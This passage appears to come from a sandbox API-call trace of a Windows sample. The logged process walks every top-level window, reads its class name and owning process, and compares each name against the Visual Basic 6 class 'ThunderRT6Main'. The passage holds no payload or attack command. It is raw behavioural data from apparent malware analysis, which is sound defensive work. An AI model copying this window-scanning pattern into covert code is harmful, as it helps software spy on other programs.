returned 20 [0224.800] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0224.800] GetWindowThreadProcessId (in: hWnd=0x301a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.800] GetWindowLongA (hWnd=0x301a4, nIndex=-16) returned -2080374784 [0224.800] GetWindowLongPtrA (hWnd=0x301a4, nIndex=-6) returned 0x13f690000 [0224.800] GetWindowLongPtrA (hWnd=0x301a4, nIndex=-6) returned 0x13f690000 [0224.801] GetWindow (hWnd=0x301a4, uCmd=0x2) returned 0x101a0 [0224.801] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0224.801] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0224.801] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="upset_logitech_elsewhere_class") returned 30 [0224.801] lstrcmpA (lpString1="upset_logitech_elsewhere_class", lpString2="ThunderRT6Main") returned 1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0224.801] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0224.801] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64 [0224.801] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0224.801] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Drinkingfoamwindow") returned 18 [0224.801] lstrcmpA (lpString1="Drinkingfoamwindow", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64 [0224.801] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10196 [0224.801] GetClassNameA (in: hWnd=0x10196, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="islamapp") returned 8 [0224.801] lstrcmpA (lpString1="islamapp", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x500 [0224.801] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0224.801] GetClassNameA (in: hWnd=0x10198, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x500 [0224.801] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0224.801] GetClassNameA (in: hWnd=0x10192, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="strategy_cls") returned 12 [0224.801] lstrcmpA (lpString1="strategy_cls", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7dc [0224.801] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0224.801] GetClassNameA (in: hWnd=0x10194, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7dc [0224.801] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0224.801] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Adversewin") returned 10 [0224.801] lstrcmpA (lpString1="Adversewin", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0224.801] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0224.801] GetClassNameA (in: hWnd=0x10190, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0224.801] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0224.801] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Heights") returned 7 [0224.801] lstrcmpA (lpString1="Heights", lpString2="ThunderRT6Main") returned -1 [0224.801] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x57c [0224.802] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0224.802] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x57c [0224.802] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0224.802] GetClassNameA (in: hWnd=0x10186, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Recipe_button_class") returned 19 [0224.802] lstrcmpA (lpString1="Recipe_button_class", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x28c [0224.802] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0224.802] GetClassNameA (in: hWnd=0x10188, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x28c [0224.802] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0224.802] GetClassNameA (in: hWnd=0x10182, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="lodging_winning_Deadly_class") returned 28 [0224.802] lstrcmpA (lpString1="lodging_winning_Deadly_class", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0224.802] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0224.802] GetClassNameA (in: hWnd=0x10184, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0224.802] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0224.802] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Bloomberg") returned 9 [0224.802] lstrcmpA (lpString1="Bloomberg", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x350 [0224.802] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0224.802] GetClassNameA (in: hWnd=0x10180, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x350 [0224.802] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0224.802] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Downloadablewindow") returned 18 [0224.802] lstrcmpA (lpString1="Downloadablewindow", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x594 [0224.802] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0224.802] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x594 [0224.802] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0224.802] GetClassNameA (in: hWnd=0x10176, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Agree_Earliest_wnd") returned 18 [0224.802] lstrcmpA (lpString1="Agree_Earliest_wnd", lpString2="ThunderRT6Main") returned -1 [0224.802] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c8 [0224.802] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0224.802] GetClassNameA (in: hWnd=0x10178, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c8 [0224.803] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0224.803] GetClassNameA (in: hWnd=0x10172, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="operationclass") returned 14 [0224.803] lstrcmpA (lpString1="operationclass", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x248 [0224.803] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0224.803] GetClassNameA (in: hWnd=0x10174, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x248 [0224.803] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0224.803] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Beenutritionalwindow") returned 20 [0224.803] lstrcmpA (lpString1="Beenutritionalwindow", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x698 [0224.803] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0224.803] GetClassNameA (in: hWnd=0x10170, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x698 [0224.803] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0224.803] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="nose_class") returned 10 [0224.803] lstrcmpA (lpString1="nose_class", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x318 [0224.803] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0224.803] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x318 [0224.803] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0224.803] GetClassNameA (in: hWnd=0x10166, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Focal_Mia_Distributors_cls") returned 26 [0224.803] lstrcmpA (lpString1="Focal_Mia_Distributors_cls", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7f8 [0224.803] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0224.803] GetClassNameA (in: hWnd=0x10168, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7f8 [0224.803] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0224.803] GetClassNameA (in: hWnd=0x10162, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="duo_rights_referenced_app") returned 25 [0224.803] lstrcmpA (lpString1="duo_rights_referenced_app", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0224.803] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0224.803] GetClassNameA (in: hWnd=0x10164, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.803] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0224.804] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0224.804] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="advertisecharliePhaseswindow") returned 28 [0224.804] lstrcmpA (lpString1="advertisecharliePhaseswindow", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f0 [0224.804] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0224.804] GetClassNameA (in: hWnd=0x10160, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f0 [0224.804] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0224.804] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Directly_app") returned 12 [0224.804] lstrcmpA (lpString1="Directly_app", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c8 [0224.804] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0224.804] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c8 [0224.804] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0224.804] GetClassNameA (in: hWnd=0x10156, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="camping_app") returned 11 [0224.804] lstrcmpA (lpString1="camping_app", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668 [0224.804] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0224.804] GetClassNameA (in: hWnd=0x10158, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668 [0224.804] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x2010a [0224.804] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="frogFredsuspectedapp") returned 20 [0224.804] lstrcmpA (lpString1="frogFredsuspectedapp", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x664 [0224.804] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x90154 [0224.804] GetClassNameA (in: hWnd=0x90154, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x664 [0224.804] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x70118 [0224.804] GetClassNameA (in: hWnd=0x70118, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="AcquisitionsMilescls") returned 20 [0224.804] lstrcmpA (lpString1="AcquisitionsMilescls", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x70118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d0 [0224.804] GetWindow (hWnd=0x70118, uCmd=0x2) returned 0x3010e [0224.804] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.804] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d0 [0224.804] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116 [0224.805] GetClassNameA (in: hWnd=0x20116, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0224.805] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0224.805] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0224.805] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0224.805] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.805] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0224.805] GetClassNameA (in: hWnd=0x10148, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0224.805] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0224.805] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0224.805] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0224.805] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.805] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0224.805] GetClassNameA (in: hWnd=0x10132, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0224.805] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0224.805] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0224.805] GetClassNameA (in: hWnd=0x10134, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0224.805] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0224.805] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0224.805] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.805] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0224.805] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.805] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0224.805] GetClassNameA (in: hWnd=0x10120, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0224.805] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0224.805] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0224.805] GetClassNameA (in: hWnd=0x10122, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.805] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0224.805] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0224.805] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.805] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0224.806] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0224.806] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.806] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.806] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0224.806] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0224.806] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.806] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0224.806] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0224.806] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.806] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0224.806] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.806] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.806] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0224.806] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.806] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.806] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0224.806] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.806] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.806] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0224.806] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0224.806] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.806] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0224.806] GetClassNameA (in: hWnd=0x20018, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0224.806] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0224.806] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0224.806] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0224.806] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0224.806] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0224.806] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0224.806] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0224.807] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0224.807] GetClassNameA (in: hWnd=0x20016, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.807] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0224.807] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0224.807] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0224.807] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0224.807] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0224.807] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0224.807] GetClassNameA (in: hWnd=0x20108, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 